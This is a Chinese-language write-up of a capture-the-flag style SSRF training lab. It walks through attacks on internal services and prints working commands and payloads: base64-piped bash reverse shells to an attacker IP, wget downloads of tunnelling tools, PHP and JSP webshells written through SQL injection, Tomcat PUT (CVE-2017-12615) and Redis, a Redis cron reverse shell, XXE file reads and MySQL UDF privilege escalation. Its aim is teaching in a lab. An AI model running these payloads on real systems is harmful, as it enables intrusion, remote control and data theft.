SSRF-Labs 综合靶场-WP(超详细)

发布时间:2026/7/23 22:52:35

SSRF-Labs 综合靶场-WP(超详细) 该靶场是基于国光师傅搭建的很适合刚入门的师傅们学习SSRF的利用摘要本文基于国光师傅搭建的SSRF靶场详细记录了从靶场搭建到内网渗透的全过程。通过SSRF漏洞对内网多个服务进行攻击测试涵盖命令执行、SQL注入、XXE模板注入、Tomcat任意文件写入(CVE-2017-12615)、Redis未授权访问、Redis有认证getshell、MySQL未授权访问及UDF提权等多种攻击手法。文章提供了完整的攻击流程、命令示例和实战截图适合初学者学习SSRF漏洞利用与横向移动技巧。目录一、靶场搭建二、打靶过程2.1、命令执行2.2、SQL注入2.3、命令执行2.4、XXE模板注入2.5、tomcat-任意写文件漏洞(CVE-2017-12615)2.6、Redis 未授权访问2.7、Redis 有认证的情况下getshell2.8、MYSQL 未授权2.9、MYSQL UDF提取一、靶场搭建项目地址:https://github.com/ProbiusOfficial/ssrf-labs项目搭建git clone https://github.com/ProbiusOfficial/hello-ssrf.git cd hello-ssrf sudo docker compose up -d # 启动SSRF靶场靶场流程图参考国光师傅的启动之后访问8880端口进行测试端口冲突可以更改docker-compose.yml配置文件二、打靶过程测试是否能读取数据file:///etc/passwd读取/etc/hosts文件查看IP地址情况发现内部IP地址尝试访问抓取数据包利用BP爆破内部其它IP地址因为默认在抓取数据包的时候格式是这样的curl http://172.72.23.26http不能访问3306和6379只能访问默认的80端口由于tomcat的是8080端口所以在这里就少了三台主机2.1、命令执行访问172.72.23.22发现两个文件尝试访问shell.php读取/目录时发现flag一枚为了方便后面做测试可以尝试构造反弹shell来搭建frp隧道进行内网穿透echo base64编码之后的代码 | base64 -d | bash这里用我自己编写的一个小脚本各位师傅们也可以用在线的反弹shell生成nc进行监听在BP里面执行成功获得shell利用python启动一个web服务下载frpcpython -m http.server 80cd /tmpwget http://192.168.80.179/frpcwget http://192.168.80.179/frpc.inichmod x frpc./frpc -c frpc.ini建议提前在本地端编辑好frpc.ini启动服务端./frps -c frps.ini启动客户端浏览器挂上代理进行访问2.2、SQL注入访问172.72.23.23传递参数?id1使用load_fil()函数发现能够读取目标系统上的文件尝试往站点根目录写入shellhttp://172.72.23.23/?id1 and 12 union select 1,?php assert(\$_POST[1]);?,3 into outfile /var/www/html/1.php访问并执行phpinfo()蚁剑挂上代理成功连接在index.php中有数据库的账号密码各位师傅可以登录数据库拿flag2.3、命令执行访问http://172.72.23.24输入127.0.0.1;id可以读根下的flag2.4、XXE模板注入访问http://172.72.23.25BP需要开启socks代理不然抓取不了数据包XML语法?xml version1.0? !DOCTYPE x[!ENTITY y SYSTEM file:///etc/passwd]读取数据读取flag2.5、tomcat-任意写文件漏洞(CVE-2017-12615)访问8080端口BP抓包通过PUT方法上传文件% if(poc.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(i)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(pre); while((ain.read(b))!-1){ out.println(new String(b,0,a)); } out.print(/pre); }返回201代表写入成功访问shell之后并执行代码获得flag一枚不太懂的师傅们可以参考这个https://github.com/lg996/Vulhub-POC/blob/master/Tomcat%20PUT%E6%96%B9%E6%B3%95%E4%BB%BB%E6%84%8F%E5%86%99%E6%96%87%E4%BB%B6%E6%BC%8F%E6%B4%9E%20CVE-2017-12615.md2.6、Redis 未授权访问由于目标只有一个6379端口考虑往计划任务写入一个反弹shelldict://172.72.23.27:6379尝试访问info存在未授权利用kali的proxychains4挂上代理远程连接,因为是在本地填127或者自己kali的IP地址都行远程访问proxychains4 redis-cli -h 172.72.23.27 -p 6379创建计划任务flushall config set dir /var/spool/cron/ config set dbfilename root set x \n\n\n* * * * * sh -i /dev/tcp/192.168.80.179/5555 01 \n\n\n save成功接收到shellflag1各位师傅们反弹的时候尽量使用sh或者bash 使用/bin/bash -i 这样的话可能会出现一点小问题2.7、Redis 有认证的情况下getshell先远程登录看看需要密码于是使用大保健挂上代理看看有哪些端口还开放了80端口大保健也是直接把密码都爆出来了先访问80端口看看发现是一个文件包含这里也可以尝试读取redis.conf的配置文件获得密码有密码了之后还是老样子直接远程登录写入一句话来拿shellflushall config set dir /var/www/html config set dbfilename shell.php set x \n\n\n ?php eval(\$_POST[c]);?\n\n\n save访问shell.php读取flag2.8、MYSQL 未授权老样子先上上大保健梭哈远程连接看看proxychains4 mysql -h 172.72.23.29 -uroot -p proxychains4 mysql -h 172.72.23.29 -uroot -p --skip-ssl第一次远程连接提示要求客户端使用 TLS/SSL 加密连接MySQL 客户端使用--skip-ssl来禁用 SSL这里有第二种方法提供给大家就是使用Gopherus3工具来完成比较简单Gopherus3下载地址https://github.com/Esonhugh/Gopherus3命令用法python -m gopherus3.gopherus不仅支持mysql还支持postgresql、redis等等很多python -m gopherus3.gopherus --host 172.72.23.29 --port 3306 --exploit mysql效果如下使用load_file()函数发现可以读取数据2.9、MYSQL UDF提取尝试能否利用UDF进行提取UDF的提取在此不多在赘述师傅们参考国光师傅的文章https://www.sqlsec.com/2020/11/mysql.html#%E5%AF%BB%E6%89%BE%E6%8F%92%E4%BB%B6%E7%9B%AE%E5%BD%95查找mysql的动态链接库位置show variables like %plugin%;MySQL 的插件目录在/usr/lib/mysql/plugin/这里我用的是MSF自带的动态链接库因为开箱即可食用不需要进行解码编码成16进制xxd -p lib_mysqludf_sys_64.so | tr -d \n在将得到的16进制复制到Gopherus3生成payloadselect 0x7f454c4602010100000000000000000003003e0......大量的payload into dumpfile /usr/lib/mysql/plugin/;导入之后创建自定义函数CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.so;查询函数是否被创建select * from mysql.func;调用函数执行命令select sys_eval(whoami);尝试反弹shell能否成功# bash 反弹 # echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44MC4xNzkvMTExMSAwPiYx | base64 -d | bash成功接收到此整个靶场就结束了靶场相对来说还是挺不错的

相关新闻